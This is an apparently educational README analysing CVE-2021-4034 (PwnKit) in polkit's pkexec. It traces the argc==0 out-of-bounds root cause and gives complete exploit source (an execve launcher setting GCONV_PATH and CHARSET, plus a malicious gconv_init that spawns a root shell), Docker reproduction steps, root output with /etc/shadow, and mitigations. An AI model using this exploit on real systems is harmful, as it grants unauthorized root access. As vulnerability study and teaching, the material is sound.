
Whitehat School 4期 CVE-2021-4034 解析およびPOC作成
🔗 元のプロジェクト: berdav/CVE-2021-4034
このプロジェクトは、元のプロジェクトを基に教育目的で分析・修正したバージョンです。
MITライセンス準拠 | White Hat School教育課題
CVE-2021-4034は、Linux policykit-1(PolicyKit)のローカル権限昇格の脆弱性です。一般ユーザーがpkexecを引数なしで実行し、プロセスメモリ構造の欠陥を利用することで、本来は除去されるべき環境変数文字列をglibが再参照するように仕向け、悪意のある.soファイルをロードさせてroot権限を取得することができます。
⚠️ 教育目的専用: このコードは修正されたシステムでのみ使用してください。
実際のシステムへの攻撃に使用すると、法的責任が生じる可能性があります。
| 項目 | 内容 |
|---|---|
| CVE ID | CVE-2021-4034 |
| 脆弱性名 | PwnKit |
| 影響を受けるバージョン | polkit 0.105以前のパッチが適用されていないバージョン全般(テスト環境の基準: Ubuntu 20.04のpolicykit-1 0.105-26ubuntu1) |
| 脆弱性タイプ | Local Privilege Escalation (LPE) |
| 深刻度 | Critical (CVSS 7.8) |
| パッチバージョン | policykit-1 >= 0.105-26ubuntu1.1 |
| 発見日 | 2021年6月(公開は2022年1月) |
Ubuntuだけの問題だと誤解されがちですが、pkexec自体のロジック欠陥であるため、polkitを使用しているディストリビューションであればほとんど影響を受けます。Dockerテスト環境がUbuntu 20.04のため、上の表にはそのバージョンも併記しました。
最初に分析したときは「環境変数を検証していないために発生する問題」だと思っていましたが、ソースコードとパッチコミットを一緒に見ると、順序が少し違うことがわかりました。本当の原因は別にあり、環境変数の問題はその原因によって発生する結果に近いものです。以下は、その流れを原因の順に整理したものです。
pkexecは、PolicyKitを通じて権限昇格を要求するSUID-rootプログラムです。
# 예: root 권한으로 명령어 실행
pkexec /bin/id
pkexec systemctl restart service
一般ユーザーが管理者権限で特定のタスクを実行するときに使用されます。
argc == 0の場合を例外処理していないpkexecのmain()関数は、コマンドライン引数を処理する部分で、引数が一つもなく実行された場合(argc == 0)を検証していません。 これがこの脆弱性の本当の始まりです。
argv = {"pkexec", "명령어", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0argcが0の場合、argvリストには終端を示すNULLだけが残ります。しかし、pkexecの内部ロジックは、この状況でも存在しないargv[1]を読み書きしようとします。問題は、Linuxがプロセスを実行するときにargv配列とenvp(環境変数)配列をメモリ上ですぐ隣に並べて配置する点です。そのため、範囲外のargv[1]は実際にはenvp[0]、つまり最初の環境変数をそのまま指すことになります。
정상 상황: argv = [ "pkexec" | NULL ]
공격 상황: argv = [ NULL ] ← argc = 0
↑
존재하지 않는 argv[1]에 접근
↓
메모리상 바로 뒤에 있는 envp[0]을 읽고 쓰게 됨 (out-of-bounds)
なぜこれが危険なのか:
GCONV_PATHやLD_PRELOADのような危険な環境変数を安全でないと判断して除去します。argc < 1の場合に即座に終了する検証ロジックを追加する形でこの部分を修正しました。(CWE-125 out-of-bounds read、CWE-787 out-of-bounds writeに該当)📌 まとめると: 環境変数の未検証は「攻撃が通用する条件」であり、本当の脆弱性(root cause)はpkexecがargc == 0の場合を処理していないことです。下の3は、この原因によって発生する結果側です。
2で説明したOOB動作により、pkexecがglibを初期化する過程で、この文字列が検証されないまま再び使用されることになります。
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // 원래는 ld.so가 걸러냈어야 함
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
};
execve("/usr/bin/pkexec", args, env); // argv는 비워서 argc=0을 만듦
問題:
ここで重要なのは、glib自体には何の落ち度もないという点です。GCONV_PATHが設定されていれば、そのパスからconverterを探すのはglibの正常な動作です。問題は、pkexecがsecure execution状態(危険な環境変数が除去された状態)をすでに壊してしまった後だということです。glibはただ正常に動作しただけなのに、その正常な動作が悪用される構造です。
CHARSET環境変数の確認
CHARSET=PWNKIT
gconv-modulesファイルでconverter定義を検索
module UTF-8// PWNKIT// pwnkit 1
GCONV_PATHから.soファイルをロード
GCONV_PATH=. → 현재 디렉토리에서 pwnkit.so 검색
.soファイルの初期化関数が自動実行
// pwnkit.c - .so 파일 로드 시 자동으로 실행됨
void gconv_init(void *step)
{
setuid(0); // root 권한 획득
setgid(0);
execve("/bin/sh"); // root shell 실행!
}
gconv_initは「コンストラクタ関数」と呼ぶこともありますが、厳密にはCの__attribute__((constructor))とは異なります。正確にはgconvモジュールインターフェースで定義された初期化関数であり、glibがdlopenで.soをロードした後、この関数を明示的に呼び出すものです。
┌─────────────────────────────────────┐
│ 일반 사용자 (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. argv 비우고 pkexec 실행 (argc=0)
│ + 악의적 환경변수 설정
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ pkexec 실행 │
│ argc 검증 없음 → OOB → 문자열 재참조 │
└─────────────────────────────────────┘
│
│ 2. glib이 정상 동작대로 처리
│ CHARSET=PWNKIT 인코딩 검색
│ GCONV_PATH=.에서 converter 찾음
↓
┌─────────────────────────────────────┐
│ pwnkit.so 로드 │
│ (현재 디렉토리의 악의적 .so 파일) │
└─────────────────────────────────────┘
│
│ 3. gconv 초기화 함수 자동 실행 (root 권한!)
↓
┌─────────────────────────────────────┐
│ root shell 획득 ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. 프로젝트 받기
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. 최신 버전 확인
git pull origin main
# 3. 빌드 (캐시 없이)
docker compose build --no-cache
# 4. 실행
docker compose up
docker system prune -a --volumes --forceは、キャッシュやボリュームが壊れて上記の方法でうまくいかない場合にのみ使用することをお勧めします。システム全体のDockerキャッシュを削除するかなり攻撃的なコマンドなので、他のプロジェクトのキャッシュも一緒に消えてしまう可能性があります。関連内容は、下の「発生した問題と解決方法」に別途まとめています。
pwnkit | 현재 권한 (공격 전): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← 성공! ✅

WHS4_CVE-2021-4034/
├── docker-compose.yml # Docker Compose 설정
├── Dockerfile # 취약 Ubuntu 20.04 환경
├── start.sh # 컨테이너 초기화 및 자동 실행
├── Makefile # 빌드 설정
├── CVE-2021-4034_exploit.c # Exploit 코드 (pkexec 호출)
├── pwnkit.c # 악의적 .so 파일 (권한 상승)
├── gconv-modules # glib converter 매핑
├── README.md # 이 파일
└── LICENSE # MIT License
#include <unistd.h>
int main(int argc, char *argv[])
{
// pkexec에 실행할 프로그램을 지정하지 않음
// (args에 NULL만 있음) → 이게 곧 argc=0을 만드는 부분
char * const args[] = {
NULL
};
// 🔴 검증되지 않은 악의적 환경변수
// argc=0으로 인한 OOB 덕분에 다시 참조 가능해져 pkexec에 그대로 전달됨
char * const env[] = {
"GCONV_PATH=.", // converter 경로 (현재 디렉토리)
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
"SHELL=/bin/sh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// pkexec 실행 (인자 없이 → argc=0 트리거)
execve("/usr/bin/pkexec", args, env);
return 0;
}
要点:
argsにpkexec自体の名前さえ入れず、argcが0になるようにしている → 根本原因(argcの未検証)をトリガーGCONV_PATH=. : OOBで再参照可能になった後、glibがこのパスでconverterを検索CHARSET=PWNKIT : glibがこのエンコーディングのconverterを見つけるように誘導#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// .so 파일을 converter로 인식하기 위한 함수 (형식상 필요)
void gconv()
{
}
// 🎯 CVE-2021-4034의 핵심
// .so 파일 로드 시 glib이 dlopen 후 명시적으로 호출하는 초기화 함수
// 이 함수가 root 권한으로 실행된다! ← 핵심 취약점!
void gconv_init(void *step)
{
char * const args[] = {
"/bin/sh", // root shell 실행
NULL
};
char * const env[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// root 권한 명시적 설정 (이미 root이지만)
setuid(0);
setgid(0);
// root shell 실행 ← 권한 상승 성공!
execve(args[0], args, env);
exit(0);
}
要点:
gconv_init()はCのconstructor attributeではなく、gconvモジュールインターフェースの仕様に従ってglibがdlopenの後に直接呼び出す初期化関数setuid(0)の後にシェルを実行すると、rootシェルをそのまま取得できる$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

実際に、このキャプチャ画像は初めてエクスプロイトが成功したときのものであり、上を見るとユーザー権限について表示されています。
$ ./CVE-2021-4034_exploit
参考: エクスプロイト自体にはsudoは不要です。pkexecがすでにSUID-rootバイナリであるため、一般ユーザー権限だけでrootシェルを取得できるのがこの脆弱性の核心です。Dockerテスト環境で
sudo -Eを使ったことがありますが、これはNOPASSWD設定を確認するための実行便宜上のものであり、脆弱性自体とは無関係です。
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (root만 볼 수 있는 내용)

上を見ると、実際の攻撃後にルート権限を取得できることがわかります。
より全体的に攻撃前と攻撃後について見たい場合は、上記の「### 実際の攻撃前の権限」の部分の画像を見ることをお勧めします。
✅ 権限昇格成功!
Ubuntu 20.04ベースのDocker環境で再現に成功しました(policykit-1 0.105-26ubuntu1)。まだ繰り返しテストの回数が多くないため、カーネル・ディストリビューションのバージョンを変えながら数回さらに実行し、結果を埋めていく予定です。
# 1. 패치 업그레이드 (권장)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1
# 버전 확인
dpkg -l | grep policykit-1
# 0.105-26ubuntu1.1 이상이어야 함
# /etc/sudoers 수정 (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET
パッチが根本的な解決策であり、上記の2つはパッチが適用されるまでに使える暫定措置に近いものです。argcの検証自体はpkexecのコードが修正されないと解決しない問題であるため、環境変数側だけを防いでも完全には防げません。
docker-composeコマンドが見つからない原因: Ubuntu 24.04ではdocker-compose(v1)がなく、docker compose(v2)のみ存在する
解決:
# docker compose 명령어 사용 (v2)
docker compose up
原因: DockerfileのNOPASSWD設定が正しく反映されていない(Dockerキャッシュの問題)
解決:
docker compose build --no-cache
docker compose up
それでもダメな場合は、キャッシュを完全に消して再度試します。
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache
原因: ローカルファイルが以前のバージョンのままになっている
解決:
# GitHub에서 최신 버전 받기
git pull origin main
# 파일 확인
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"
# 다시 빌드
docker compose up --build --no-cache
原因: 既存のコンテナが残っている
解決:
# 컨테이너 제거
docker compose down
docker rm pwnkit -f
# 다시 실행
docker compose up
原因: Dockerで生成されたファイルの権限がrootになっている
解決:
# WSL/Linux에서
sudo rm -rf WHS4_CVE-2021-4034
作成者: krleejihyeong
新規作成・修正した部分:
このプロジェクトはMIT Licenseに従います。
Copyright (c) 2026 krleejihyeong (수정 및 분석)
Copyright (c) 2021 berdav (원본 PoC)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
詳細については、LICENSEファイルを参照してください。
このプロジェクトは純粋な教育目的のためだけに制作されました。
権限のないコンピュータシステムへのアクセスは、法的に罰せられる可能性があります。
最終更新: 2026年7月